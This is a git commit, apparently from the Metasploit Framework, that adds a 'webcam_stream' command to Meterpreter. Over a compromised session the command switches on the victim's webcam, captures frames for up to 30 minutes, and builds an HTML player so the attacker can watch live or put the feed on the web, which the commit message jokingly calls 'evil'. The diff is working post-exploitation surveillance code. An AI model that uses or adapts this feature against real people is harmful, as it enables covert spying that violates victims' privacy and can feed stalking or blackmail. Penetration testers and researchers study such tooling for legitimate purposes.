Add webcam livestream feature for meterpreter

[SeeRM #8729] - This meterpreter command allows the attacker to observe the target at real-time
by turning their webcam live. There is also a HTML-based player provided, which does not require
a plugin or anything, just open it with a browser. The HTML-based player also allows the attacker
to put livestream on the web (evil? yeah, kind of.)
bug/bundler_fix
sinn3r 2013-12-30 18:38:13 -06:00
parent b8569a1698
commit 92a0ff1096
1 changed files with 135 additions and 6 deletions

View File

@ -24,11 +24,13 @@ class Console::CommandDispatcher::Stdapi::Webcam
all = {
"webcam_list" => "List webcams",
"webcam_snap" => "Take a snapshot from the specified webcam",
"webcam_stream" => "Play a video stream from the specified webcam",
"record_mic" => "Record audio from the default microphone for X seconds"
}
reqs = {
"webcam_list" => [ "webcam_list" ],
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"record_mic" => [ "webcam_audio_record" ],
}
@ -102,12 +104,15 @@ class Console::CommandDispatcher::Stdapi::Webcam
rescue
end
if wc_list.length > 0
print_status("Starting...")
client.webcam.webcam_start(index)
data = client.webcam.webcam_get_frame(quality)
print_good("Got frame")
client.webcam.webcam_stop
print_status("Stopped")
begin
print_status("Starting...")
client.webcam.webcam_start(index)
data = client.webcam.webcam_get_frame(quality)
print_good("Got frame")
ensure
client.webcam.webcam_stop
print_status("Stopped")
end
if( data )
::File.open( path, 'wb' ) do |fd|
@ -124,6 +129,130 @@ class Console::CommandDispatcher::Stdapi::Webcam
end
end
def cmd_webcam_stream(*args)
print_status("Starting...")
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
player_path = Rex::Text.rand_text_alpha(8) + ".html"
duration = 1800
quality = 50
view = true
index = 1
wc_list = []
webcam_snap_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ],
"-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
"-q" => [ true, "The stream quality (Default: '#{quality}')" ],
"-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
"-t" => [ true, "The stream player path (Default: #{player_path})"],
"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
)
webcam_snap_opts.parse( args ) { | opt, idx, val |
case opt
when "-h"
print_line( "Usage: webcam_stream [options]\n" )
print_line( "Stream from the specified webcam." )
print_line( webcam_snap_opts.usage )
return
when "-d"
duration = val.to_i
when "-i"
index = val.to_i
when "-q"
quality = val.to_i
when "-s"
stream_path = val
when "-t"
player_path = val
when "-v"
view = false if ( val =~ /^(f|n|0)/i )
end
}
print_status("Preparing player...")
html = %Q|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
var status = document.getElementById("status");
status.innerText = msg;
}
function noImage() {
document.getElementById("streamer").style = "display:none";
updateStatus("Waiting");
}
var i = 0;
function updateFrame() {
var img = document.getElementById("streamer");
img.src = "#{stream_path}#" + i;
img.style = "display:";
updateStatus("Playing");
i++;
}
setInterval(function() {
updateFrame();
},25);
</script>
</head>
<body>
<noscript>
<h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP : #{client.sock.peerhost}
Start time : #{Time.now}
Status : <span id="status"></span>
</pre>
<br>
<img onerror="noImage()" id="streamer">
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>
|
::File.open(player_path, 'wb') do |f|
f.write(html)
end
if view
print_status("Opening player at: #{player_path}")
Rex::Compat.open_file(player_path)
else
print_status("Please open the player manually with a browser: #{interface_path}")
end
print_status("Streaming...")
begin
client.webcam.webcam_start(index)
::Timeout.timeout(duration) {
while client do
data = client.webcam.webcam_get_frame(quality)
if data
::File.open(stream_path, 'wb') do |f|
f.write(data)
end
data = nil
end
end
}
rescue ::Timeout::Error
ensure
client.webcam.webcam_stop
end
print_status("Stopped")
end
def cmd_record_mic(*args)
path = Rex::Text.rand_text_alpha(8) + ".wav"
play = true